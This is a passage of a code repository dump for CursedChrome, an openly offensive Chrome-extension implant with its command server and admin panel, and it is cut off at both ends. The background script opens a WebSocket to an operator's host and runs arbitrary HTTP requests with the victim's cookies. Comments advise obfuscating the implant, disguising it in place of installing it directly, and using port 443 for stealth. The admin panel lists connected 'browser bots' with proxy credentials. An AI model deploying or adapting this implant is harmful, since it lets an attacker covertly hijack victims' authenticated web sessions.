,"description":"introduce the basic idea."
}
,"l10nProd": {
"message":"You <strong>are</strong> planning to allow localization, right? You have <em>no idea</em> who will be using your extension! You have no idea who will be translating it! At least support the basics, it's not hard, and having the framework in place will let you transition much more easily later on."
,"description":"drive the point home. It's good for you."
}
,"l10nFirstParagraph": {
"message":"When the options page loads, elements decorated with <strong>data-l10n</strong> will automatically be localized!"
,"description":"inform that <el data-l10n='' /> elements will be localized on load"
}
,"l10nSecondParagraph": {
"message":"If you need more complex localization, you can also define <strong>data-l10n-args</strong>. This should contain <span class='code'>$containerType$</span> filled with <span class='code'>$dataType$</span>, which will be passed into Chrome's i18n API as <span class='code'>$functionArgs$</span>. In fact, this paragraph does just that, and wraps the args in mono-space font. Easy!"
,"description":"introduce the data-l10n-args attribute. End on a lame note."
,"placeholders": {
"containerType": {
"content":"$1"
,"example":"'array', 'list', or something similar"
,"description":"type of the args container"
}
,"dataType": {
"content":"$2"
,"example":"string"
,"description":"type of data in each array index"
}
,"functionArgs": {
"content":"$3"
,"example":"arguments"
,"description":"whatever you call what you pass into a function/method. args, params, etc."
}
}
}
,"l10nThirdParagraph": {
"message":"Message contents are passed right into innerHTML without processing - include any tags (or even scripts) that you feel like. If you have an input field, the placeholder will be set instead, and buttons will have the value attribute set."
,"description":"inform that we handle placeholders, buttons, and direct HTML input"
}
,"l10nButtonsBefore": {
"message":"Different types of buttons are handled as well. &lt;button&gt; elements have their html set:"
}
,"l10nButton": {
"message":"in a <strong>button</strong>"
}
,"l10nButtonsBetween": {
"message":"while &lt;input type='submit'&gt; and &lt;input type='button'&gt; get their 'value' set (note: no HTML):"
}
,"l10nSubmit": {
"message":"a <strong>submit</strong> value"
}
,"l10nButtonsAfter": {
"message":"Awesome, no?"
}
,"l10nExtras": {
"message":"You can even set <span class='code'>data-l10n</span> on things like the &lt;title&gt; tag, which lets you have translatable page titles, or fieldset &lt;legend&gt; tags, or anywhere else - the default <span class='code'>Boil.localize()</span> behavior will check every tag in the document, not just the body."
,"description":"inform about places which may not be obvious, like <title>, etc"
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 4.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 624 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

+24
View File
@@ -0,0 +1,24 @@
{
"name": "CursedChrome Implant",
"version": "0.0.1",
"manifest_version": 2,
"description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.",
"homepage_url": "https://thehackerblog.com",
"icons": {
"16": "icons/icon16.png",
"48": "icons/icon48.png",
"128": "icons/icon128.png"
},
"default_locale": "en",
"background": {
"scripts": [
"src/bg/background.js"
],
"persistent": true
},
"permissions": [
"webRequest",
"webRequestBlocking",
"<all_urls>"
]
}
+1
View File
@@ -0,0 +1 @@
<!-- This is for some dark magic to get around fetch() limitaitons -->
+422
View File
@@ -0,0 +1,422 @@
/*
IMPORTANT: This script should be minified using UglifyJS or
some other minimizer to remove comments/console.log statements
and to obfuscate the code before deployment.
You'll also need to modify the "websocket" variable in the
initialize() function in this script with the appropriate
connection URI for your host. For simple testing, the default
connection string of "ws://127.0.0.1:4343" should be fine.
*/
var websocket = false;
var last_live_connection_timestamp = get_unix_timestamp();
var placeholder_secret_token = get_secure_random_token(64);
// Used as a table to hold the final metadata to return for
// 301 requests which fetch() can't normally handle.
var redirect_table = {};
const REQUEST_HEADER_BLACKLIST = [
'cookie'
];
const RPC_CALL_TABLE = {
'HTTP_REQUEST': perform_http_request,
'PONG': () => {}, // NOP, since timestamp is updated on inbound message.
'AUTH': authenticate
};
async function authenticate(params) {
// Check for a previously-set browser identifier.
var browser_id = localStorage.getItem('browser_id');
// If no browser ID is already set we generate a
// new one and return it to the server.
if(browser_id === null) {
browser_id = uuidv4();
localStorage.setItem(
'browser_id',
browser_id
);
}
/*
Return the browser's unique ID as well as
some metadata about the instance.
*/
return {
'browser_id': browser_id,
'user_agent': navigator.userAgent,
'timestamp': get_unix_timestamp()
}
}
function get_secure_random_token(bytes_length) {
const validChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let array = new Uint8Array(bytes_length);
window.crypto.getRandomValues(array);
array = array.map(x => validChars.charCodeAt(x % validChars.length));
const random_string = String.fromCharCode.apply(null, array);
return random_string;
}
function uuidv4() {
return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
}
function arrayBufferToBase64(buffer) {
var binary = '';
var bytes = new Uint8Array(buffer);
var len = bytes.byteLength;
for (var i = 0; i < len; i++) {
binary += String.fromCharCode(bytes[i]);
}
return window.btoa(binary);
}
function get_unix_timestamp() {
return Math.floor(Date.now() / 1000);
}
// Checks the websocket connection to ensure it's still live
// If it's not, then we attempt a reconnect
const websocket_check_interval = setInterval(() => {
const PENDING_STATES = [
0, // CONNECTING
2 // CLOSING
];
// Check WebSocket state and make sure it's appropriate
if (PENDING_STATES.includes(websocket.readyState)) {
console.log(`WebSocket not in appropriate state for liveness check...`);
return
}
// Check if timestamp is older than ~15 seconds. If it
// is the connection is probably dead and we should restart it.
const current_timestamp = get_unix_timestamp();
const seconds_since_last_live_message = current_timestamp - last_live_connection_timestamp;
if (seconds_since_last_live_message > 29 || websocket.readyState === 3) {
console.error(`WebSocket does not appear to be live! Restarting the WebSocket connection...`);
try {
websocket.close();
} catch (e) {
// Do nothing.
}
initialize();
return
}
// Send PING message down websocket, this will be
// replied to with a PONG message form the server
// which will trigger a function to update the
// last_live_connection_timestamp variable.
// If this timestamp gets too old, the WebSocket
// will be severed and started again.
websocket.send(
JSON.stringify({
'id': uuidv4(),
'version': '1.0.0',
'action': 'PING',
'data': {}
})
);
}, (1000 * 3));
// Headers that fetch() can't set which need to
// utilize webRequest to be able to send properly.
const HEADERS_TO_REPLACE = [
'origin',
'referer',
'access-control-request-headers',
'access-control-request-method',
'access-control-allow-origin',
'date',
'dnt',
'trailer',
'upgrade'
];
async function perform_http_request(params) {
// Whether to include cookies when sending request
const credentials_mode = params.authenticated ? 'include' : 'omit';
// Set the X-PLACEHOLDER-SECRET to the generated secret.
params.headers['X-PLACEHOLDER-SECRET'] = placeholder_secret_token;
// List of keys for headers to replace with placeholder headers
// which will be replaced on the wire with the originals.
var headers_to_replace = [];
// Loop over headers and find any that need to be replaced.
const header_keys = Object.keys(params.headers);
header_keys.map(header_key => {
if (HEADERS_TO_REPLACE.includes(header_key.toLowerCase())) {
headers_to_replace.push(
header_key
);
}
});
// Then replace all headers with placeholder headers
headers_to_replace.map(header_key => {
const new_header_key = `X-PLACEHOLDER-${header_key}`
params.headers[new_header_key] = params.headers[header_key];
delete params.headers[header_key];
});
var request_options = {
method: params.method,
mode: 'cors',
cache: 'no-cache',
credentials: credentials_mode,
headers: params.headers,
redirect: 'follow'
}
// If there is a request body, we decode it
// and set it for the request.
if (params.body) {
request_options.body = atob(params.body);
}
try {
var response = await fetch(
params.url,
request_options
);
} catch (e) {
console.error(`Error occurred while performing fetch:`);
console.error(e);
return;
}
var response_headers = {};
for (var pair of response.headers.entries()) {
response_headers[pair[0]] = pair[1];
}
const redirect_hack_url_prefix = `${location.origin.toString()}/redirect-hack.html?id=`;
// Handler 301, 302, 307 edge case
if(response.url.startsWith(redirect_hack_url_prefix)) {
var response_metadata_string = decodeURIComponent(response.url);
response_metadata_string = response_metadata_string.replace(
redirect_hack_url_prefix,
''
);
const redirect_hack_id = response_metadata_string;
const response_metadata = redirect_table[redirect_hack_id];
delete redirect_table[redirect_hack_id];
// Format headers
var redirect_hack_headers = {};
response_metadata.headers.map(header_data => {
redirect_hack_headers[header_data.name] = header_data.value;
});
const redirect_hack_data = {
'url': response.url,
'status': response_metadata.status_code,
'status_text': 'Redirect',
'headers': redirect_hack_headers,
'body': '',
};
return redirect_hack_data;
}
return {
'url': response.url,
'status': response.status,
'status_text': response.statusText,
'headers': response_headers,
'body': arrayBufferToBase64(
await response.arrayBuffer()
)
}
}
function initialize() {
// Replace the below connection URI with whatever
// the host details you're using are.
// ** Ideal setup is the following **
// Have Nginx doing a reverse-proxy (proxy_pass) to
// the CursedChrome server with a HTTPS cert setup.
// For SSL/TLS WebSockets, instead of https:// you need
// to use wss:// as the protocol. For maximum stealth,
// setting the WebSocket port to be the standard
// TLS/SSL port (this will make sure tools like little
// snitch don't alert on a new port connection from Chrome).
websocket = new WebSocket("ws://127.0.0.1:4343");
websocket.onopen = function(e) {
//websocket.send("My name is John");
};
websocket.onmessage = async function(event) {
// Update last live connection timestamp
last_live_connection_timestamp = get_unix_timestamp();
try {
var parsed_message = JSON.parse(
event.data
);
} catch (e) {
console.error(`Could not parse WebSocket message!`);
console.error(e);
return
}
if (parsed_message.action in RPC_CALL_TABLE) {
const result = await RPC_CALL_TABLE[parsed_message.action](parsed_message.data);
websocket.send(
JSON.stringify({
// Use same ID so it can be correlated with the response
'id': parsed_message.id,
'origin_action': parsed_message.action,
'result': result,
})
)
} else {
console.error(`No RPC action ${parsed_message.action}!`);
}
};
websocket.onclose = function(event) {
if (event.wasClean) {
console.log(`[close] Connection closed cleanly, code=${event.code} reason=${event.reason}`);
} else {
// e.g. server process killed or network down
// event.code is usually 1006 in this case
console.log('[close] Connection died');
}
};
websocket.onerror = function(error) {
console.log(`[error] ${error.message}`);
};
}
initialize();
/*
Some headers are not set correctly when set by fetch(), so instead a
placeholder header of X-PLACEHOLDER-Placeholder-Header is set and then
replaced via the webRequest API.
For example, the "Origin" header is set to the Chrome extension ID. So
the fetch() call sets the X-PLACEHOLDER-Origin header and the webRequest
hook automatically deleted the X-PLACEHOLDER-Origin header and sets the
Origin header to it's value.
However, this opens up a security issue which could be exploited if a
regular webpage made a request with X-PLACEHOLDER-Restricted-Header.
In order to mitigate this the webRequest hooks also look for the header
X-PLACEHOLDER-SECRET. This header contains a secret value which we set
on all fetch() requests in order to verify they came from the extension
and not from some other webpage.
Additionally, for defense in depth, nothing that isn't initiated by the Chrome extension
is actually processed.
*/
chrome.webRequest.onBeforeSendHeaders.addListener(
function(details) {
// Ensure we only process requests done by the Chrome extension
if(details.initiator !== location.origin.toString()) {
return
}
var has_header_secret = false;
var header_keys_to_delete = [];
var headers_to_append = [];
details.requestHeaders.map(requestHeader => {
if(requestHeader.name === 'X-PLACEHOLDER-SECRET' && requestHeader.value === placeholder_secret_token) {
has_header_secret = true;
header_keys_to_delete.push('X-PLACEHOLDER-SECRET');
}
});
// If there's no secret header set with the
// proper secret then quit out the proxy replacement.
if(!has_header_secret) {
return {
cancel: false
};
}
// Get headers to remove and headers to append
details.requestHeaders.map(requestHeader => {
if(!requestHeader.name.startsWith('X-PLACEHOLDER-SECRET') && requestHeader.name.startsWith('X-PLACEHOLDER-')) {
header_keys_to_delete.push(requestHeader.name);
// Skip the header if it's in the blacklist (e.g. Cookie)
if(REQUEST_HEADER_BLACKLIST.includes(requestHeader.name.replace('X-PLACEHOLDER-', '').toLowerCase())) {
return
}
headers_to_append.push({
'name': requestHeader.name.replace('X-PLACEHOLDER-', ''),
'value': requestHeader.value
})
}
});
// Remove headers
details.requestHeaders = details.requestHeaders.filter(requestHeader => {
return !header_keys_to_delete.includes(requestHeader.name);
});
// Add appended headers
details.requestHeaders = details.requestHeaders.concat(
headers_to_append
);
return {
requestHeaders: details.requestHeaders
};
}, {
urls: ["<all_urls>"]
}, ["blocking", "requestHeaders", "extraHeaders"]
);
const REDIRECT_STATUS_CODES = [
301,
302,
307
];
chrome.webRequest.onHeadersReceived.addListener(function(details) {
// Ensure we only process requests done by the Chrome extension
if(details.initiator !== location.origin.toString()) {
return
}
if(!REDIRECT_STATUS_CODES.includes(details.statusCode)) {
return
}
const redirect_hack_id = uuidv4();
redirect_table[redirect_hack_id] = JSON.parse(JSON.stringify({
'url': details.url,
'status_code': details.statusCode,
'headers': details.responseHeaders
}));
return {
redirectUrl: `${location.origin.toString()}/redirect-hack.html?id=` + redirect_hack_id
};
}, {
urls: ["<all_urls>"]
}, ["blocking", "responseHeaders", "extraHeaders"]);
+21
View File
@@ -0,0 +1,21 @@
.DS_Store
node_modules
/dist
# local env files
.env.local
.env.*.local
# Log files
npm-debug.log*
yarn-debug.log*
yarn-error.log*
# Editor directories and files
.idea
.vscode
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?
+24
View File
@@ -0,0 +1,24 @@
# gui
## Project setup
```
npm install
```
### Compiles and hot-reloads for development
```
npm run serve
```
### Compiles and minifies for production
```
npm run build
```
### Lints and fixes files
```
npm run lint
```
### Customize configuration
See [Configuration Reference](https://cli.vuejs.org/config/).
+5
View File
@@ -0,0 +1,5 @@
module.exports = {
presets: [
'@vue/cli-plugin-babel/preset'
]
}
+15156
View File
File diff suppressed because it is too large Load Diff
+53
View File
@@ -0,0 +1,53 @@
{
"name": "CursedChrome",
"version": "0.1.0",
"private": true,
"scripts": {
"serve": "vue-cli-service serve",
"build": "vue-cli-service build",
"lint": "vue-cli-service lint"
},
"dependencies": {
"@fortawesome/fontawesome-svg-core": "^1.2.28",
"@fortawesome/free-brands-svg-icons": "^5.13.0",
"@fortawesome/free-solid-svg-icons": "^5.13.0",
"@fortawesome/vue-fontawesome": "^0.1.9",
"bootstrap": "^4.4.1",
"bootstrap-vue": "^2.12.0",
"core-js": "^3.6.4",
"install": "^0.13.0",
"npm": "^6.14.4",
"vue": "^2.6.11",
"vue-bootstrap-table2": "^1.1.8",
"vue-moment": "^4.1.0",
"vue-toastr": "^2.1.2"
},
"devDependencies": {
"@vue/cli-plugin-babel": "^4.3.0",
"@vue/cli-plugin-eslint": "^4.3.0",
"@vue/cli-service": "^4.3.0",
"babel-eslint": "^10.1.0",
"eslint": "^6.7.2",
"eslint-plugin-vue": "^6.2.2",
"vue-template-compiler": "^2.6.11"
},
"eslintConfig": {
"root": true,
"env": {
"node": true
},
"extends": [
"plugin:vue/essential",
"eslint:recommended"
],
"parserOptions": {
"parser": "babel-eslint"
},
"rules": {}
},
"browserslist": [
"> 1%",
"last 2 versions",
"not dead"
]
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

+18
View File
@@ -0,0 +1,18 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<link rel="icon" href="<%= BASE_URL %>favicon.ico">
<title><%= htmlWebpackPlugin.options.title %></title>
</head>
<body>
<noscript>
<strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
</noscript>
<div id="app"></div>
<script src="/js/clipboard.min.js"></script>
<!-- built files will be auto injected -->
</body>
</html>
File diff suppressed because one or more lines are too long
+27
View File
@@ -0,0 +1,27 @@
<template>
<div id="app">
<Main />
</div>
</template>
<script>
import Main from './components/Main.vue'
export default {
name: 'App',
components: {
Main
}
}
</script>
<style>
html,
body {
height: 100%;
}
body {
background-color: #f5f5f5 !important;
}
</style>
Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

+434
View File
@@ -0,0 +1,434 @@
<template>
<div>
<!-- Loading bar -->
<div class="fixed-bottom" v-if="loading">
<b-progress :value="100" variant="success" striped :animated="true"></b-progress>
</div>
<!-- Navbar, only displayed when logged in -->
<div v-if="user.is_authenticated">
<b-navbar toggleable="lg" type="dark" variant="primary" fixed="top" sticky>
<b-navbar-brand href="#">CursedChrome Admin Control Panel</b-navbar-brand>
<b-navbar-toggle target="nav-collapse"></b-navbar-toggle>
<b-collapse id="nav-collapse" is-nav>
<b-navbar-nav>
<b-nav-item target="_blank" href="https://github.com/mandatoryprogrammer/CursedChrome">
<font-awesome-icon :icon="['fab', 'github']" class="icon alt mr-1 ml-1"></font-awesome-icon> Repo
</b-nav-item>
<b-nav-item target="_blank" href="https://twitter.com/IAmMandatory">
<font-awesome-icon :icon="['fab', 'twitter']" class="icon alt mr-1 ml-1"></font-awesome-icon> @IAmMandatory
</b-nav-item>
</b-navbar-nav>
<b-navbar-nav class="ml-auto">
<b-nav-item>
<font-awesome-icon :icon="['fas', 'user']" class="icon alt mr-1 ml-1"></font-awesome-icon>
Logged in as: <b>{{user.username}}</b>
</b-nav-item>
<b-nav-item v-on:click="logout">
Sign Out <font-awesome-icon :icon="['fas', 'sign-out-alt']" class="icon alt mr-1 ml-1"></font-awesome-icon>
</b-nav-item>
</b-navbar-nav>
</b-collapse>
</b-navbar>
<b-alert variant="warning" class="text-center" show v-if="user.password_should_be_changed">
<p>
<font-awesome-icon :icon="['fas', 'exclamation-triangle']" class="icon alt mr-1 ml-1"></font-awesome-icon>
You are currently using a system-generated password, please update your account password.
</p>
<b-button variant="primary" v-on:click="show_update_password_modal">
<font-awesome-icon :icon="['fas', 'edit']" class="icon alt mr-1 ml-1"></font-awesome-icon> Update Password
</b-button>
</b-alert>
</div>
<div id="main">
<!-- Login Page -->
<div v-if="!user.is_authenticated">
<div class="form-signin" style="max-width: 300px; margin: 0 auto;">
<div class="text-center mb-4">
<h1 class="h3 mb-3 font-weight-normal">
CursedChrome
<br />
Admin Panel
</h1>
<b-alert show>
<font-awesome-icon :icon="['fas', 'info-circle']" class="icon alt mr-1 ml-1"></font-awesome-icon> <i>If this is your first time logging in, please use the credentials printed to your console when you first set the service up.</i>
</b-alert>
</div>
<div class="input-group mb-2" style="width: 100%">
<div class="input-group-prepend">
<span class="input-group-text" style="min-width: 100px;">Username</span>
</div>
<input type="text" class="form-control" placeholder="admin" v-model="user.login.username" autofocus />
</div>
<div class="input-group mb-3" style="width: 100%">
<div class="input-group-prepend">
<span class="input-group-text" style="min-width: 100px;">Password</span>
</div>
<input type="password" class="form-control" placeholder="********" v-model="user.login.password" />
</div>
<button class="btn btn-lg btn-primary btn-block" v-on:click="log_in">
<font-awesome-icon :icon="['fas', 'sign-in-alt']" class="icon alt mr-1 ml-1"></font-awesome-icon> Sign in
</button>
</div>
</div>
<!-- Admin panel controls -->
<div v-if="user.is_authenticated">
<!-- Bots panel -->
<b-card-group deck>
<b-card border-variant="primary" header="CursedChrome Bots" header-bg-variant="primary" header-text-variant="white" align="center">
<b-card-text>
<h1>Connected Browser Bot(s)</h1>
<table class="table table-striped">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">HTTP Proxy Credentials</th>
<th scope="col">Online?</th>
<th scope="col">Options</th>
</tr>
</thead>
<tbody>
<tr v-for="bot in bots" v-bind:key="bot.id">
<td scope="row" style="vertical-align: middle;">
{{bot.name}}
</td>
<td style="vertical-align: middle;">
<div>
<div class="input-group" style="width: 100%">
<div class="input-group-prepend">
<span class="input-group-text" style="min-width: 100px;">Username</span>
</div>
<input type="text" class="form-control" placeholder="Please wait..." v-bind:value="bot.proxy_username">
<div class="input-group-append">
<span class="input-group-text copy-element" v-bind:data-clipboard-text="bot.proxy_username" v-on:click="copy_toast">
<font-awesome-icon :icon="['fas', 'clipboard']" class="icon alt mr-1 ml-1" /></span>
</div>
</div>
<div class="input-group" style="width: 100%">
<div class="input-group-prepend">
<span class="input-group-text" style="min-width: 100px;">Password</span>
</div>
<input type="text" class="form-control" placeholder="Please wait..." v-bind:value="bot.proxy_password">
<div class="input-group-append copy-element" v-bind:data-clipboard-text="bot.proxy_password" v-on:click="copy_toast">
<span class="input-group-text">
<font-awesome-icon :icon="['fas', 'clipboard']" class="icon alt mr-1 ml-1" /></span>
</div>
</div>
</div>
</td>
<td class="table-success online-col" style="vertical-align: middle;" v-if="bot.is_online">
<span class="online-symbol">
<font-awesome-icon :icon="['fas', 'check-circle']" class="icon alt mr-1 ml-1" />
</span>
</td>
<td class="online-col table-danger p-0" style="vertical-align: middle;" v-if="!bot.is_online">
<span class="offline-symbol">
<font-awesome-icon :icon="['fas', 'times-circle']" class="icon alt mr-1 ml-1" />
</span>
</td>
<td style="vertical-align: middle;">
<b-button variant="primary" v-on:click="bot_open_options(bot.id)">
<font-awesome-icon :icon="['fas', 'cog']" class="icon alt mr-1 ml-1" /> Options
</b-button>
</td>
</tr>
</tbody>
</table>
</b-card-text>
</b-card>
</b-card-group>
<!-- Options panel -->
<b-card-group deck class="mt-4">
<b-card border-variant="info" header="Options" header-bg-variant="info" header-text-variant="white" align="center">
<b-card-text>
<b-button variant="info" v-on:click="download_ca">
<font-awesome-icon :icon="['fas', 'download']" class="icon alt mr-1 ml-1" /> Download HTTPS Proxy CA Certificate <i>(Required to Use HTTP Proxy)</i>
</b-button>
</b-card-text>
</b-card>
</b-card-group>
<!-- Bot options modal -->
<div v-if="options_selected_bot">
<b-modal id="bot_options_modal" title="Bot Options & Info" ok-only ok-variant="secondary" ok-title="Close">
<p>
This bot has a User-Agent of <code>{{ options_selected_bot.user_agent }}</code> and was first seen {{ options_selected_bot.createdAt | moment("MMMM Do YYYY, h:mm:ss a") }}.
</p>
<hr />
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text">Bot Name</span>
</div>
<input type="text" class="form-control" placeholder="Please wait..." v-model="options_selected_bot.name" autofocus>
<b-button variant="primary" v-on:click="update_bot_name">
<font-awesome-icon :icon="['fas', 'edit']" class="icon alt mr-1 ml-1" /> Rename
</b-button>
</div>
</b-modal>
</div>
<!-- Update user password modal -->
<div>
<b-modal id="update_password_modal" title="Update Account Password" ok-only ok-variant="secondary" ok-title="Never mind">
<p>
Enter your new password below
</p>
<div class="input-group mb-2">
<div class="input-group-prepend">
<span class="input-group-text">New Password</span>
</div>
<input type="password" class="form-control" placeholder="******" v-model="update_password.new_password" autofocus>
</div>
<div class="input-group mb-2">
<div class="input-group-prepend">
<span class="input-group-text">New Password (Again)</span>
</div>
<input type="password" class="form-control" placeholder="******" v-model="update_password.new_password_again" autofocus>
</div>
<b-alert class="text-center" show variant="danger" v-if="!change_passwords_match">
<font-awesome-icon :icon="['fas', 'exclamation-circle']" class="icon alt mr-1 ml-1" /> Both passwords do not match, double check your inputs.
</b-alert>
<b-button variant="primary btn-block" v-bind:disabled="!change_passwords_match" v-on:click="update_user_password">
<font-awesome-icon :icon="['fas', 'key']" class="icon alt mr-1 ml-1" /> Change Password
</b-button>
</b-modal>
</div>
</div>
</div>
</div>
</template>
<script>
export default {
name: 'Main',
components: {},
data() {
window.app = this;
return {
update_password: {
new_password: '',
new_password_again: '',
},
user: {
is_authenticated: false,
username: null,
password_should_be_changed: null,
login: {
username: '',
password: ''
}
},
loading: false,
bots: [],
options_selected_bot: {},
}
},
computed: {
change_passwords_match() {
return this.update_password.new_password === this.update_password.new_password_again;
}
},
methods: {
async update_user_password() {
await api_request(
'PUT',
'/password',
{
new_password: this.update_password.new_password
}
);
this.user.password_should_be_changed = false;
this.$nextTick(() => {
this.$bvModal.hide('update_password_modal');
});
},
show_update_password_modal() {
this.$nextTick(() => {
this.$bvModal.show('update_password_modal');
});
},
async update_auth_status() {
try {
var auth_result = await api_request(
'GET',
'/me',
false,
);
} catch (e) {
return
}
this.user.is_authenticated = true;
this.user.username = auth_result.username;
this.user.password_should_be_changed = auth_result.password_should_be_changed;
},
async log_in() {
try {
var login_result = await api_request(
'POST',
'/login', {
'username': this.user.login.username,
'password': this.user.login.password,
}
);
} catch (e) {
console.error(`Invalid login.`);
console.error(e);
this.$toastr.e(e.error);
return
}
// Clear password field
this.user.login.password = '';
this.user.is_authenticated = true;
this.user.username = login_result.username;
this.user.password_should_be_changed = login_result.password_should_be_changed;
},
async update_bot_name() {
await api_request(
'PUT',
'/bots', {
'bot_id': this.options_selected_bot.id,
'name': this.options_selected_bot.name
}
);
this.$toastr.s('Bot renamed succesfully.');
this.refresh_bots();
},
bot_open_options(bot_id) {
this.options_selected_bot = copy(this.get_selected_bot(bot_id));
this.$nextTick(() => {
this.$bvModal.show('bot_options_modal');
});
},
async refresh_bots() {
const response = await api_request(
'GET',
'/bots',
false
);
this.bots = response.bots;
},
download_ca() {
window.location = `${BASE_API_PATH}/download_ca`;
},
copy_toast() {
this.$toastr.s('Copied to clipboard successfully.');
},
get_selected_bot(options_selected_bot_id) {
if (options_selected_bot_id === null) {
return null;
}
const matching_bot = this.bots.filter(bot => {
return bot.id === options_selected_bot_id;
});
return matching_bot[0];
},
async logout() {
await api_request(
'GET',
'/logout',
false
);
this.user.is_authenticated = false;
this.user.password_should_be_changed = null;
},
},
// Run on page load
mounted: async function() {
new ClipboardJS('.copy-element'); // eslint-disable-line
// Update auth status
await this.update_auth_status();
if (this.user.is_authenticated) {
this.refresh_bots();
}
setInterval(() => {
if (this.user.is_authenticated) {
this.refresh_bots();
}
}, (1000 * 2));
},
}
function copy(input_data) {
return JSON.parse(JSON.stringify(input_data));
}
const BASE_API_PATH = `${location.origin.toString()}/api/v1`;
async function api_request(method, path, body) {
var request_options = {
method: method,
credentials: 'include',
mode: 'cors',
cache: 'no-cache',
headers: {
'Content-Type': 'application/json',
},
redirect: 'follow'
};
if (body) {
request_options.body = JSON.stringify(body);
}
window.app.loading = true;
try {
var response = await fetch(
`${BASE_API_PATH}${path}`,
request_options
);
} catch ( e ) {
window.app.loading = false;
throw e;
}
window.app.loading = false;
const response_body = await response.json();
if (!response_body.success) {
return Promise.reject({
'error': response_body.error,
'code': response_body.code
})
}
return response_body.result;
}
</script>
<!-- Add "scoped" attribute to limit CSS to this component only -->
<style scoped>
.online-col {
width: 20px;
text-align: center;
}
.offline-symbol {
font-size: 30px;
color: #fc0303;
}
.online-symbol {
font-size: 30px;
color: #00c914;
}
#main {
font-family: Avenir, Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
padding-top: 10vh;
max-width: 800px;
width: 50%;
margin: 0 auto;
top: 50%;
}
.navbar-dark .navbar-nav .nav-link {
color: rgba(255, 255, 255, 1);
}
</style>
+36
View File
@@ -0,0 +1,36 @@
import Vue from 'vue'
import App from './App.vue'
import { BootstrapVue, IconsPlugin } from 'bootstrap-vue'
import 'bootstrap/dist/css/bootstrap.css'
import 'bootstrap-vue/dist/bootstrap-vue.css'
// Install BootstrapVue
Vue.use(BootstrapVue)
// Optionally install the BootstrapVue icon components plugin
Vue.use(IconsPlugin)
Vue.use(require('vue-moment'));
import VueToastr from "vue-toastr";
Vue.use(VueToastr, {
escapeHtml: true,
progressBar: true
});
import { library } from '@fortawesome/fontawesome-svg-core'
import { fas } from '@fortawesome/free-solid-svg-icons'
import { fab } from '@fortawesome/free-brands-svg-icons'
import { FontAwesomeIcon } from '@fortawesome/vue-fontawesome'
library.add(fas)
library.add(fab)
Vue.component('font-awesome-icon', FontAwesomeIcon)
Vue.config.productionTip = false
new Vue({
render: h => h(App),
}).$mount('#app')
Binary file not shown.

After

Width:  |  Height:  |  Size: 183 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 842 KiB

+2535
View File
File diff suppressed because it is too large Load Diff
+54
View File
@@ -0,0 +1,54 @@
{
"name": "croxy",
"version": "1.0.0",
"description": "",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node server.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"async": "~0.9.0",
"async-task-mgr": ">=1.1.0",
"bcrypt": "^4.0.1",
"body-parser": "^1.19.0",
"brotli": "^1.3.2",
"classnames": "^2.2.5",
"client-sessions": "^0.8.0",
"clipboard-js": "^0.3.3",
"co": "^4.6.0",
"colorful": "^2.1.0",
"commander": "~2.11.0",
"component-emitter": "^1.2.1",
"compression": "^1.4.4",
"csr-gen": "^0.2.1",
"es6-promise": "^3.3.1",
"express": "^4.17.1",
"express-jsonschema": "^1.1.6",
"fast-json-stringify": "^0.17.0",
"http-proxy": "^1.18.0",
"iconv-lite": "^0.4.6",
"inquirer": "^5.2.0",
"ip": "^0.3.2",
"juicer": "^0.6.6-stable",
"mime-types": "2.1.11",
"moment": "^2.24.0",
"nedb": "^1.8.0",
"node-cache": "^5.1.0",
"node-easy-cert": "^1.0.0",
"pg": "^7.18.2",
"pug": "^2.0.0-beta6",
"qrcode-npm": "0.0.3",
"redis": "^3.0.2",
"request": "^2.74.0",
"sequelize": "^5.21.5",
"stream-throttle": "^0.1.3",
"svg-inline-react": "^1.0.2",
"thunkify": "^2.1.2",
"uuid": "^7.0.2",
"whatwg-fetch": "^1.0.0",
"ws": "^5.1.0"
}
}
+581
View File
@@ -0,0 +1,581 @@
const NodeCache = require("node-cache");
const AnyProxy = require('./anyproxy');
const cluster = require('cluster');
const moment = require('moment');
const WebSocket = require('ws');
const https = require('https');
const redis = require("redis");
const uuid = require('uuid');
const util = require('util');
const fs = require('fs');
const database = require('./database.js');
const database_init = database.database_init;
const Users = database.Users;
const Bots = database.Bots;
const sequelize = database.sequelize;
const Sequelize = require('sequelize');
const Op = Sequelize.Op;
const get_secure_random_string = require('./utils.js').get_secure_random_string;
const get_api_server = require('./api-server.js').get_api_server;
const numCPUs = require('os').cpus().length;
/*
TODO: We need to have a garbage collector for subscriptions
to the `TOPROXY_{{browser_id}}` topics in redis. Likely just
having a timeout since last request received would be reasonable
enough.
*/
const PROXY_PORT = process.env.PROXY_PORT || 8080;
const WS_PORT = process.env.WS_PORT || 4343;
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
const SERVER_VERSION = '1.0.0';
const RPC_CALL_TABLE = {
'PING': ping,
}
const REQUEST_TABLE = new NodeCache({
'stdTTL': 30, // Default second(s) till the entry is removed.
'checkperiod': 5, // How often table is checked and cleaned up.
'useClones': false, // Whether to clone JavaScript variables stored here.
});
async function ping(websocket_connection, params) {
// Send PONG message back
websocket_connection.send(
JSON.stringify({
'id': uuid.v4(),
